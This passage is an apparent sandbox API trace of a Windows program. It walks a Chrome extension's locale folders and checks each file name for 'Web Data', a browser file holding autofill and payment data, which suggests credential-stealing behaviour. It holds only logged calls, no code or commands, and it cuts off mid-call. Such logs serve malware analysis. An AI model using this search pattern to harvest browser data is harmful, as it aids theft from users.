(lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 131 [0056.145] lstrlenA (lpString="\\*.*") returned 4 [0056.145] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.145] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0056.145] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*" [0056.145] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.145] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.145] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.145] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.145] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.145] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.145] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.145] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.145] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.146] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.146] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.146] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.146] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.146] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.146] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.146] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.146] lstrlenA (lpString="\\") returned 1 [0056.146] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.146] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.146] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.146] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.146] lstrlenA (lpString="ms") returned 2 [0056.146] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.146] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.146] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0056.146] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 131 [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 131 [0056.147] lstrlenA (lpString="\\*.*") returned 4 [0056.147] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.147] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0056.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*" [0056.147] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.147] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.147] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.147] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.147] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.147] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.147] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.147] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.147] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.147] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.147] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.147] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.147] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.147] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.147] lstrlenA (lpString="\\") returned 1 [0056.147] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.147] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.147] lstrlenA (lpString="nl") returned 2 [0056.147] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.147] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0056.147] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 131 [0056.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 131 [0056.147] lstrlenA (lpString="\\*.*") returned 4 [0056.147] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.147] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0056.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*" [0056.147] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.147] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.147] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.148] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.148] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.148] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.148] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.148] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.148] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.148] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.148] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.148] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.148] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.148] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.148] lstrlenA (lpString="\\") returned 1 [0056.148] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.148] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.148] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.148] lstrlenA (lpString="no") returned 2 [0056.148] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.148] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.148] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0056.148] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned 131 [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned 131 [0056.148] lstrlenA (lpString="\\*.*") returned 4 [0056.148] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.148] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0056.148] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*" [0056.148] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.148] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.148] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.148] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.148] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.148] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.148] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.148] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.148] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.148] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.148] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.148] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.148] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.148] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.149] lstrlenA (lpString="\\") returned 1 [0056.149] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.149] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.149] lstrlenA (lpString="pl") returned 2 [0056.149] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.149] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0056.149] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned 131 [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned 131 [0056.149] lstrlenA (lpString="\\*.*") returned 4 [0056.149] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.149] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0056.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: 